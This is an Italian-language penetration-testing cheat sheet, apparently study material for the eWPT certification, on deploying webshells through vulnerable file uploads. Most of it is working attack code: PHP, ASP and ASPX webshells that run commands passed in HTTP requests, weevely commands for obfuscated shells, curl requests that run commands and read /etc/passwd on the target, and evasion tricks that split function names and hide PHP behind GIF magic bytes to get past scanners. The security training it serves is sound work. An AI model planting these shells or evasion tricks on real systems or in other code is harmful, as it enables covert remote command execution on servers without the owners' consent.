← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

Webshell Deployment

Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 03-Reverse-Shells.md Lab: HTB (macchine con file upload vulnerabile)


Obiettivo

Una reverse shell è comoda finché il target riesce davvero a “chiamarti” — ma su una rete con egress filtering aggressivo (uscite bloccate su tutto tranne 80/443, o niente del tutto) quella connessione non parte mai, per quanto il payload sia corretto. La webshell è il piano B che spesso diventa il piano principale: resta lì, sul server, e tu la interroghi via HTTP come faresti con qualsiasi altra pagina — meno comoda di una shell interattiva, ma indipendente dal fatto che il target possa o meno raggiungerti.


Concetti chiave

Webshell vs Reverse shell

Caratteristica Webshell Reverse shell
Persistenza resta sul server finché non rimossa si perde alla chiusura connessione
Connessioni in uscita richieste no sì (target deve raggiungere l’attaccante)
Interattività limitata (comando singolo per richiesta) piena shell TTY dopo upgrade
Stealth rilevabile da file scanner/AV rilevabile da monitoraggio connessioni di rete

Strumenti

Tool Comando base Output Note
curl curl "URL/shell.php?cmd=id" output comando interazione base
weevely weevely generate pass shell.php webshell offuscata PHP comunicazione criptata, più stealth

Payload / Esempi

Esempio 1: webshell PHP minimale

<?php system($_GET['cmd']); ?>
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=whoami"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"

Esempio 2: webshell PHP con form per uso interattivo da browser

<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>
<form method="GET">
  <input type="text" name="cmd">
  <input type="submit">
</form>

Esempio 3: webshell con weevely (più stealth, traffico offuscato)

# Genera la webshell
weevely generate MyPassword123 shell.php

# Carica shell.php sul target (via upload vulnerabile)

# Connettiti
weevely http://target.com/uploads/shell.php MyPassword123

Spiegazione: weevely offusca sia il payload che la comunicazione HTTP, rendendo la webshell meno rilevabile da controlli statici sul contenuto e da signature-based detection rispetto a una system() in chiaro.

Esempio 4: webshell ASP/ASPX (target Windows/IIS)

<%eval(request("cmd"))%>
<%@ Page Language="C#" %>
<%
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]);
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var p = System.Diagnostics.Process.Start(psi);
Response.Write(p.StandardOutput.ReadToEnd());
%>

Spiegazione: Process.Start da solo esegue il comando ma non ne restituisce l’output all’attaccante; serve RedirectStandardOutput + UseShellExecute = false e poi leggere/stampare lo stream per vedere il risultato nella risposta HTTP.


Evasion / Bypass Techniques

Offuscazione base per evitare signature statiche

<?php $a='sys'.'tem'; $a($_GET['cmd']); ?>

Spiegazione: spezzare il nome della funzione pericolosa (system) in concatenazione di stringhe bypassa scanner che cercano la stringa letterale “system(“ nel file caricato.

Nascondere la webshell in un file apparentemente innocuo

GIF89a;
<?php system($_GET['cmd']); ?>

Salvato come .php con contenuto che inizia con magic bytes GIF: vedi 01-File-Upload-Abuse.md per il contesto completo di bypass upload.


Lab Hands-On

Lab 1 (HTB): file upload -> webshell -> enumerazione

Obiettivo: distribuire una webshell persistente e usarla per la prima enumerazione post-exploitation Difficulty: Medio Time: 45 min

Walkthrough breve:

  1. Carica la webshell tramite la vulnerabilità di upload trovata
  2. Testa l’esecuzione con id/whoami
  3. Usa la webshell per enumerare l’ambiente prima di passare a una reverse shell completa

Common Mistakes

  • Lasciare la webshell con nome prevedibile (shell.php) accessibile pubblicamente -> in un engagement reale documenta e rimuovi sempre a fine test
  • Usare solo webshell senza mai fare upgrade a reverse shell -> l’interattività limitata rallenta molto l’enumerazione approfondita


Connessioni


Checklist di padronanza

  • So costruire e usare una webshell PHP base
  • So usare weevely per comunicazione offuscata
  • So quando preferire webshell a reverse shell (connessioni uscenti filtrate)
  • Ricordo sempre di documentare/rimuovere le webshell a fine engagement